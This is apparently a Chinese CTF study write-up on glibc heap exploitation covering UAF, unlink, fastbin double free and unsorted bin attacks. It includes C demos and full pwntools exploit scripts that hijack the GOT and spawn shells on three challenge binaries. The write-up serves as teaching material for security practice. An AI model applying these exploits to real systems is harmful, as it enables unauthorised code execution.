用于管理堆,记录每个 arena 当前申请的内存的具体状态(是否有空闲 chunk,有什么大小的空闲 chunk )。无论是 thread arena 还是 main arena,它们都只有一个 malloc state 结构。由于 thread 的 arena 可能有多个,malloc state 结构会在最新申请的 arena 中。

main arena 的 malloc_state 同样作为一个全局变量 存储在 libc.so 数据段。

堆的实现

可以从宏观或微观的角度去考虑:

从宏观上,堆经历了 创建 ——> 初始化——> 销毁 的过程。

从微观上来说,这些操作对应着内存块的申请和释放。

UAF

use-after-free 原理:释放一个堆块后,由于程序有漏洞(比如指针没置零),可以对释放后的堆块进行改写。随即利用堆分配算法进行攻击。

原理以一段 C 代码为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<string.h>
#include<malloc.h>
#include<stdlib.h>

unsigned long long target[100];
int main()
{
unsigned long long *p = malloc(0x10);
free(p);
p[0] = target; // 使得 p_chunk->fd 指向 target
target[0] = 0; // prev_size
target[1] = 0x21; // size
malloc(0x10); // 返回 p
char *q = malloc(0x10); // 再次 malloc 则会将 p_chunk->fd 的内容拿出来赋给 q
// 即伪造好的target
memcpy(q,"hello",6); // 对 q 操作即对我们伪造的 chunk 进行操作
printf("%s\n",&target[2]); // 会输出什么呢?
return 0;
}

编译运行,劫持成功:

例题:actf_2019_babyheap

64位,除了 pie 保护全开。运行一下是标准的菜单题,提供了现成的 system 和 /bin/sh 字符串。

首先根据运行情况对 main 函数进行一些整理,如下:

查看 delete 函数:

free 前有检查,free 后却没有将指针设置为空值。

查看 create:

当选择create选项时,会先创建 0x10 大小的 结构体,将它的后八位设置为 print_content 函数的地址。接着输入 content 的大小和内容,将 content 的地址存放在结构体的前八位。

再查看 print:

分析到这里发现是很明显的 UAF 了,我们通过画图理一理思路:

当我们两次调用 create 函数,首先分配的是 chunk0 和 chunk1 的结构体本身,再次会根据我们输入的 size 为 content 分配 chunk 空间。

当我们输入的 size 足够大远大于 0x10 时,根据堆空间的分配规则,只有两个大小为 0x10 的结构体本身会被放到 fast bin。

我们首先 free 结构体 0 和对应的 content 再 free 结构体 1。

再次申请 content 大小为 0x10 的堆块。则结构体本身与其 content 各占 0x10 个字节。

fast bin 遵循 LIFO 的原则,因此,对于率先分配的两块大小为 0x10 的空间,原先结构体 0 的空间对应新分配的 content,结构体 1 的空间对应新分配的结构体本身。而我们输入新的 content,就相当于在修改原先 结构体 0 的内容。

此时再调用 print(1),即可 getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
io=remote('node4.buuoj.cn',26484)
elf=ELF('./ACTF_2019_babyheap')
bin_sh=0x602010
system=elf.plt['system']
context.log_level='debug'
#io=process('./ACTF_2019_babyheap')
def add(size,content):
io.recvuntil('choice: ')
io.sendline('1')
io.recvuntil('size: ')
io.sendline(str(size))
io.recvuntil('content: ')
io.send(content)

def delete(idx):
io.recvuntil('choice: ')
io.sendline('2')
io.recvuntil('index: ')
io.send(str(idx))

def show(idx):
io.recvuntil('choice:')
io.sendline('3')
io.recvuntil('index:')
io.send(str(idx))

add(0x100,b'a')
add(0x100,b'b')
delete(0)
delete(1)
add(0x10,p64(bin_sh)+p64(system))
show(0)
io.interactive()

原理

俗称脱链,将链表头处的 free 堆块从 unsorted bin 中脱离出来,然后和物理地址相邻的新 free 的堆块合并成大堆块(向前或向后合并),再次放到 unsorted bin 里。

通过伪造 free 状态的 fake_chunk,伪造 fd 指针和 bk 指针,通过绕过 unlink 的检测实现 unlink。向 p 所在的位置写入 p - 0x18,实现任意地址写漏洞。

产生原因:offbynull、offbyone、堆溢出,修改了堆块的使用标志位。

查看 molloc.c 中的 _int_free 部分源码,这里以 glibc-2.28 为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/* consolidate backward */
// 此时 p 指向的是当前的 malloc_chunk 结构体
// prev_inuse() 判断前一个堆块是否是使用状态,标志位为 0 则表示前一个堆块是 free 状态
if (!prev_inuse(p)) {
prevsize = prev_size (p); // 提取前一个堆块的大小
size += prevsize;
// 修改当前的 chunk 的指针,指向前一个 chunk
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))

/* Take a chunk off a bin list */
// unlink 操作的实质就是将 P 所指向的 chunk 从双向链表中删除,这里的 FD 和 BK 作为临时变量被使用
#define unlink(AV, P, BK, FD) {
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
// 这一步完成脱链
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

主要的检查代码:

1
2
3
4
5
6
7
8
9
10
11
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");

// largebin 中 next_size 双向链表完整性检查(???)
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV);

伪造过程(以64位为例)

  1. 获取将要合并到的堆地址,P 一般存在于 bss 段的堆管理列表中,相当于 *chunk = P。

    假设 chunk = 0x602280

  2. 通过溢出等手段改写 chunk 的 fd 与 bk 指针的值,令:

1
2
P_fd = chunk - 0x18 = 0x602268
P_bk = chunk - 0x10 = 0x602270
  1. 绕过
1
2
3
4
5
6
//为临时变量赋值
FD = P->fd; // FD = 0x602268
BK = P->bk; // BK = 0x602270
//脱链
FD->bk = BK; // *(0x602268 + 0x18) = *(0x602280) = 0x602270
BK->fd = FD; // *(0x602270 + 0x10) = *(0x602280) = 0x602268

相当于往 0x602280(chunk)地址对应的内存中写入了 0x602268(即 chunk - 0x18)的值。

再查看检查:

1
2
3
// 检查 fd 和 bk 指针,确实都指向 P
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");

64 位,开启了 NX 和 cananry。

用 IDA 查看发现是标准的菜单题。

1
2
3
4
5
6
7
8
9
10
11
12
13
int menu()
{
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
return printf("Your choice:");
}

还给了 一个可以直接读出 flag 的 magic 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn magic()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/home/bamboobox/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

查看函数的大致情况。add:

没有开 PIE ,且change函数处存在溢出漏洞,满足 unlink 的条件,推测是通过 unlink 修改 got 表。

show 处则可以 泄露 libc。

利用过程:
  1. 创建堆块

  2. 构造 fake_chunk ,利用溢出篡改 chunk 1 的 prev_size 标志位为 0

  3. free chunk 1,触发 unlink,使得 堆块 0 和 1 合并

  4. 把 chunk 移到存储 chunk 指针的内存处

  5. 覆盖 chunk 0 指针为 atoi 的 got 表地址并泄露

  6. 覆盖 atoi 的 got 表为 system 函数地址。

  7. 输入 /bin/sh getshell

参考:buuctf pwn hitcontraining_unlink unlink堆溢出利用 - Nemuzuki - 博客园 (cnblogs.com)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import*
from LibcSearcher import*
p = process("./bamboobox")
#p = remote("node4.buuoj.cn",29352)
context(arch = "amd64", os = "linux", log_level = "debug")
elf = ELF("bamboobox")

atoi_got = elf.got['atoi']
backdoor = 0x400D49

def add(size,payload):
p.recvuntil("Your choice:")
p.sendline('2')
p.recvuntil("Please enter the length of item name:")
p.sendline(str(size))
p.recvuntil("Please enter the name of item:")
p.sendline(payload)

def change(index,size,payload):
p.recvuntil("Your choice:")
p.sendline('3')
p.recvuntil("Please enter the index of item:")
p.sendline(str(index))
p.recvuntil("Please enter the length of item name:")
p.sendline(str(size))
p.recvuntil("Please enter the new name of the item:")
p.sendline(payload)

def remove(index):
p.recvuntil("Your choice:")
p.sendline('4')
p.recvuntil("Please enter the index of item:")
p.sendline(str(index))

def show():
p.recvuntil("Your choice:")
p.sendline('1')
'''
gdb.attach(p)
pause()
'''
# create chunk
add(0x40,b'aaaa')
add(0x80,b'bbbb')
add(0x80,b'cccc') #避免合并到top chunk而申请的other_chunk

# create fake chunk and overflow
ptr = 0x6020C8
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10

payload1 = p64(0) + p64(0x41) # prev_size and present_size
payload1 += p64(fake_fd) + p64(fake_bk)
payload1 += b'a'*0x20
payload1 += p64(0x40) + p64(0x90) # chunk 1's prev_size and size
# this is important,we use overflow to change PREV_INUSE from 1 to 0

change(0,0x60,payload1)

# unlink
remove(1)

# change ptr = atoi_got
payload2 = p64(0) + p64(0) + p64(0) # padding
payload2 += p64(atoi_got)

change(0,0x60,payload2)

# show and leak the libc
show()
p.recvuntil('0 : ')
atoi = u64(p.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('atoi',atoi)
libc_base = atoi - libc.dump('atoi')
sys_addr = libc_base + libc.dump('system')
success('atoi = ' + hex(atoi))
success('libc_base = ' + hex(libc_base))
success('sys_addr = ' + hex(sys_addr))

# change atoi_got to sys_addr
change(0,0x8,p64(sys_addr))

# chage atoi_got to backdoor
# change(0,0x8,p64(backdoor))

p.sendlineafter('Your choice:','/bin/sh\x00')

p.interactive()

off by xxx

参考:Off by Null的前世今生-安全客 - 安全资讯平台 (anquanke.com)

off by one:非预期地溢出一个字节

off by null:非预期地溢出 ‘\x00’

一般利用 off by 溢出进行堆叠和布局。

Fastbin attack

fastbins 的特点:

  1. fast bin chunk 的 prev_IN_USE 标志位永远为 1。
  2. 通过 fd 连接的单向链表
  3. LIFO
  4. 管理 0x20,0x30,0x40,0x50,0x60,0x70,0x80 大小的 free chunk,可以通过修改 global_max_fast 来更改最大范围

方法分类:

fast bin double free

house of spirit(在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的)

alloc to stack(劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据)

arbitrary alloc(Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等)

漏洞成因

fastbin 通过单链表连接,修改其 fd 即可控制下一个申请的地址。条件:size 位与 fastbin 管理的大小对应。

fast bin double free

以一段 c 代码为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <malloc.h>

unsigned long long data[2023];
int main()
{
malloc(1);
void *chunk1,*chunk2;
chunk1 = malloc(0x10);
chunk2 = malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk1);
void *chunk3 = malloc(0x10);
*(unsigned long long *)chunk3 = data;
data[0] = 0;
data[1] = 0x21;
malloc(0x10);
malloc(0x10);
void *target = malloc(0x10);
printf("%p %p\n",data,target);
return 0;
}

// 运行得到:
giantbranch@ubuntu:~/Desktop/test$ ./a.out
0x601080 0x601090

target 指向的就是用户使用的内存区域,data 对应 fake_chunk 的 header。

如图所示:

大致就是通过构造循环链表将堆块申请到我们想要的位置。

例题:wustctf2020_easyfast

一道64位的堆菜单题,首先还是逆向整理和函数编写。

要使得选择 4 可以执行 system,需要将 key 从 1 改为 0。

查看 target 地址附近,在 size 位正好存在 0x50 帮助我们通过 size 验证。那我们申请的堆块大小为 0x40 即可

write可更改的数据要从 0x602090 开始,那我们将上一个 chunk 的 fd 改为 0x602080 即可。

需要注意的是,本题对可申请的堆块数量有一定限制,因此还要利用 UAF。

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import*
#p = process("./wustctf2020_easyfast")
p = remote("node4.buuoj.cn",27659)
context(arch = "amd64", os = "linux", log_level = "debug")

def add(size):
p.recvuntil("choice>")
p.sendline('1')
p.recvuntil("size>")
p.sendline(str(size))

def delete(index):
p.recvuntil("choice>")
p.sendline('2')
p.recvuntil("index>")
p.sendline(str(index))

def write(index,payload):
p.recvuntil("choice>")
p.sendline('3')
p.recvuntil("index>")
p.sendline(str(index))
p.send(payload)

def backdoor():
p.recvuntil("choice>")
p.sendline('4')

target = 0x602080

add(0x40) #0
add(0x40) #1
delete(0)
delete(1)
delete(0)

# 由于 delete 函数中 free 后没有将指针置零,因此这里可以直接对 chunk0 进行改写(UAF)
write(0,p64(target))

add(0x40) #2
add(0x40) #3

write(3,p64(0))

backdoor()

p.interactive()

原理如图所示:

Unsorted bin leak

small bin 大小的堆块被释放后会进入 unsorted bin。而 unsorted bin 中只有一个 chunk 时,该 chunk 的 fd 和 bk 指针指向 main_arena + 88。(如有多个则 fd 与 bk 有一个会指向 main_arena + 88)main_arena 作为一个全局变量存在于 libc.so 数据段。因此如果可以泄露该 chunk 的指针,就相当于泄露了 libc。

而且 main_arena 和 __malloc_hook 的偏移是固定的。可以通过偏移计算出 __malloc_hook 函数的地址,以此确定 libc。

Unsorted bin attack

前提:控制 Unsorted Bin Chunk 的 bk 指针

目的:修改任意地址值为一个较大的数值

(通常是为了配合fastbin attack而使用的)盲猜是为 fastbin attack 绕过 size 位检查

当一个 free chunk 从 unsorted bin 中取出的时候,会执行如下代码:

1
2
3
4
5
6
          /* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim)) // victim为freechunk
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
//unsorted_chunks (av) 是一个函数调用,它用于获取glibc中分配器(malloc实现)中的"unsorted bin"(未排序的空闲块链表)的地址。
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

要实现修改任意地址,需要先利用 UAF 等漏洞修改待取出 chunk 的 bk 指针为 target 地址,如下图:

与 fastbin attack 配合使用

fastbin attack 中构造堆块时,需要将目标地址的 size 数值处写入一个 0x7f 的数值才能够过滤掉系统的检测,如果没有方法写入,就可以利用 unsortedbin attack,将构造堆块的地址作为 unsortedbin attack 的 target 地址,那么就可以实现在指定位置处写入 0x7f 的数值了。

Tcache attack

Tcache 是 libc-2.26 加入的新机制,本意上是为了加快内存的分配,但是安全性有所降低。

Tags: CTF